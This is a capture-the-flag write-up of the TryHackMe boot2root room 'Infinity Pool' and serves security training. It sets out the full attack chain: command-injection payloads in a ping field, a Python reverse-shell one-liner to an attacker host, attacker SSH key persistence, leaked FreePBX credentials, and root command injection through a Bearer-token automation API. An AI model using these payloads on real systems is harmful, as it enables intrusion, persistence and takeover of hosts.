TryHackMe Hacker Holidays 2026: Infinity Pool
Written By Aryan Giri
Room: Infinity Pool
Category: Boot2Root
Difficulty: Medium
Points: 90
Platform: TryHackMe
Room URL: https://tryhackme.com/room/hh-infinitypool-5b3548af
Concierge Briefing
No visible edge. You trace the network to the horizon and find three systems nobody told you about on the other side.
The objective is straightforward:
- Find the user flag
- Find the root flag
The interesting part is how the attack chain develops. Initial access comes from command injection in a web application, while privilege escalation requires discovering services that are only reachable from the target itself.
Initial Web Enumeration
The target machine provided by the room was:
http://10.49.175.103
I started by opening the web application in a browser.
There was not much visible functionality, so the next step was source-code reconnaissance.
Looking through the webpage source revealed an interesting reference to an app.py file.
The application exposed endpoints including:
/status
/internal/netcheck
The /internal/netcheck endpoint returned Method Not Allowed when accessed directly, while /status exposed functionality that allowed an IP address to be supplied for a ping operation.
Command Injection
The ping functionality immediately looked interesting.
Instead of supplying only an IP address, I tested whether additional shell syntax would be interpreted.
For example:
127.0.0.1 ; pwd
The application executed the additional command and returned the working directory.
This confirmed command injection and, more importantly, revealed the filesystem location from which the web application was running.
At this point, the goal changed from web enumeration to obtaining interactive access to the underlying system.
EscapeArtist
While testing command-injection payloads, I also used one of my older utilities, EscapeArtist.
EscapeArtist is a client-side utility for security researchers, penetration testers, and CTF players that dynamically generates command-injection bypass payloads based on the target command, allowed values, and shell environment.
For example, if the allowed input is:
127.0.0.1
and the command I want to execute is:
pwd
EscapeArtist can generate a collection of syntactically valid payload variations.
Generated payloads:
For this room, however, the basic command injection was already sufficient.
Getting a Reverse Shell
Technology reconnaissance showed that the web application was running behind Gunicorn, indicating a Python-based web service.
Since arbitrary commands could already be executed, I used a Python reverse shell to obtain a proper interactive connection.
First, start a listener on the attacking machine:
nc -lvnp <LISTEN_PORT>
Then execute the reverse-shell command through the vulnerable parameter:
127.0.0.1 | python3 -c 'import socket,subprocess,os; s=socket.socket(); s.connect(("<ATTACKER_IP>",<LISTEN_PORT>)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); subprocess.call(["/bin/bash","-i"])'
The connection came back to the listener.
A proper PTY could be configured at this point, but for this room I only needed enough shell functionality to continue enumeration.
User Flag
After obtaining the shell, I navigated to the user's home directory and checked the flag file:
cd
cat user.txt
The user flag was successfully obtained.
The flag itself is omitted because of TryHackMe's room-content rules.
Privilege Escalation
Getting the user shell was only the beginning.
Traditional privilege-escalation enumeration did not immediately reveal an obvious path to root, so I started looking at local services.
One of the most useful commands here was:
ss -tuln
The output showed several TCP and UDP services, including services bound only to localhost.
This was the important clue.
Services listening on:
127.0.0.1
cannot normally be reached directly from the attacking machine.
The internal architecture eventually revealed three important services:
127.0.0.1:3000
Watchtower
Configuration API
127.0.0.1:8080
Apache / FreePBX UCP
127.0.0.1:9000
Automation service
There was also an Asterisk AMI service listening locally on port 5038.
The attack path therefore became:
Command Injection
|
v
Reverse Shell
|
v
Local Service Enumeration
|
v
Watchtower Configuration Leak
|
v
FreePBX UCP
|
v
Automation Key
|
v
Automation API
|
v
Command Injection as root
|
v
Root Flag
Enumerating the Internal Web Services
I first checked the HTTP services from the compromised machine.
For example:
curl -s -I http://127.0.0.1:8080/ucp
The service on port 8080 returned a redirect, indicating that this was the Apache/FreePBX service.
There was also an HTTP service on another local port, but it was the raw Asterisk HTTP server rather than the FreePBX UCP interface.
The key point was that the interesting services were intentionally inaccessible from outside the machine.
Harvesting Credentials from Watchtower
The service on port 3000 exposed a configuration API.
I queried it with:
curl -s http://127.0.0.1:3000/api/config
The response disclosed credentials for the FreePBX UCP application:
User: FreePBXUCPTemplateCreator
Pass: $t4yN0t1c3d_2026
These credentials were important because they allowed access to the internal FreePBX interface.
Reaching Localhost Services with SSH Port Forwarding
The FreePBX UCP service was listening internally on the target, so accessing it directly from the attacking machine was not possible.
This is where SSH local port forwarding becomes useful.
First, I generated an RSA key on the attacking machine:
ssh-keygen -t rsa -b 2048 -f ~/.ssh/infinity_pool_key -N ""
The public key can be displayed again if the terminal has been cleared:
cat ~/.ssh/infinity_pool_key.pub
From the existing shell on the target, I created the SSH directory if necessary:
mkdir -p ~/.ssh
Then added the attacker's public key:
echo "ssh-rsa <PASTE_YOUR_PUBLIC_KEY_HERE>" >> ~/.ssh/authorized_keys
This allowed me to establish an SSH connection using the generated key.
Creating the SSH Tunnel
From the attacking machine:
ssh -i ~/.ssh/infinity_pool_key -L 8080:127.0.0.1:8080 web@10.48.147.49
The important part is:
-L 8080:127.0.0.1:8080
This maps:
Attacker localhost:8080
|
v
SSH tunnel
|
v
Target 127.0.0.1:8080
Now the internal FreePBX service could be accessed through the attacker's own browser.
Accessing FreePBX UCP
With the tunnel active, I opened:
http://127.0.0.1:8080/ucp
The page took some time to load.
A useful way to verify that the tunnel itself is working is to open:
http://127.0.0.1:8080
This returned the Ubuntu default webpage immediately.
If that page works but UCP takes longer to load, the SSH tunnel itself is probably functioning correctly.
The UCP login page requested credentials.
I used the credentials discovered from Watchtower:
Username:
FreePBXUCPTemplateCreator
Password:
$t4yN0t1c3d_2026
After authentication, the UCP interface loaded.
A short setup guide appeared. I proceeded through it until reaching the main dashboard.
Finding the Automation Key
The UCP interface contained dashboard functionality.
There were two + buttons, one on the left and another on the right.
The Left-side + was the one needed to create a dashboard.
I created a dashboard named:
tester
Next, I used the right-side + to add a widget.
From the available widgets, I selected the voicemail widget.
After adding it, the voicemail information appeared in the dashboard.
The important information was in the Caller ID field.
The Caller ID contained an automation key resembling:
cc_auto_...
I copied this key because it was required to interact with the internal automation service.
Exploiting the Automation Service
The final internal service was listening on:
127.0.0.1:9000
The discovered automation key could be supplied as a Bearer token.
First, I stored the key in a shell variable:
KEY='<YOUR_AUTOMATION_KEY>'
The service exposed an export endpoint:
POST /jobs/export
I tested whether the report parameter was safely handled.
The parameter was vulnerable to command injection.
Since the export job executed with root privileges, command injection here provided a path from the existing user context to root.
To retrieve the root flag:
curl -s -X POST \
-H "Authorization: Bearer $KEY" \
-H "Content-Type: application/json" \
http://127.0.0.1:9000/jobs/export \
-d '{"report":"test; cat /root/root.txt;"}'
The response contained the root flag.
The flag is omitted because of TryHackMe's room-content rules.
Attack Chain
The complete compromise can be summarized as:
Internet-facing web application
|
v
Source-code reconnaissance
|
v
/status ping functionality
|
v
Command Injection
|
v
Python Reverse Shell
|
v
Local enumeration with ss
|
v
127.0.0.1:3000 Watchtower
|
v
FreePBX credentials
|
v
SSH local port forwarding
|
v
FreePBX UCP
|
v
Voicemail widget
|
v
Automation Key
|
v
127.0.0.1:9000
|
v
/jobs/export command injection
|
v
Root execution
|
v
/root/root.txt
Lessons from the Room
Infinity Pool was less about finding a single vulnerability and more about chaining several weaknesses together.
The first major issue was command injection in the web application's ping functionality. A feature intended to perform a simple network diagnostic allowed attacker-controlled shell commands to reach the underlying operating system.
The second important discovery was that localhost-only services should not be ignored. Binding an application to 127.0.0.1 prevents direct remote access, but it does not make the service inherently secure. Once an attacker obtains shell access, those services become part of the attack surface.
The Watchtower configuration endpoint demonstrated another common failure: sensitive credentials exposed through an internal configuration API.
SSH port forwarding then provided a clean way to reach an otherwise inaccessible service:
Attacker -> SSH -> Target localhost service
The FreePBX interface ultimately exposed an automation credential, which became the bridge to the final privilege-escalation stage.
Finally, the automation service trusted a user-controlled report value while executing an export operation as root. That turned a seemingly ordinary API parameter into a root-level command-execution primitive.
The most important lesson from the room is therefore the attack-chain mindset:
Initial RCE
+
Internal service discovery
+
Credential exposure
+
Local service access
+
Application-level token
+
Privileged command injection
=
Full system compromise
A service being hidden behind localhost is not the same thing as being secure. Once an attacker gets execution on the host, the entire internal service topology becomes part of the reachable attack surface.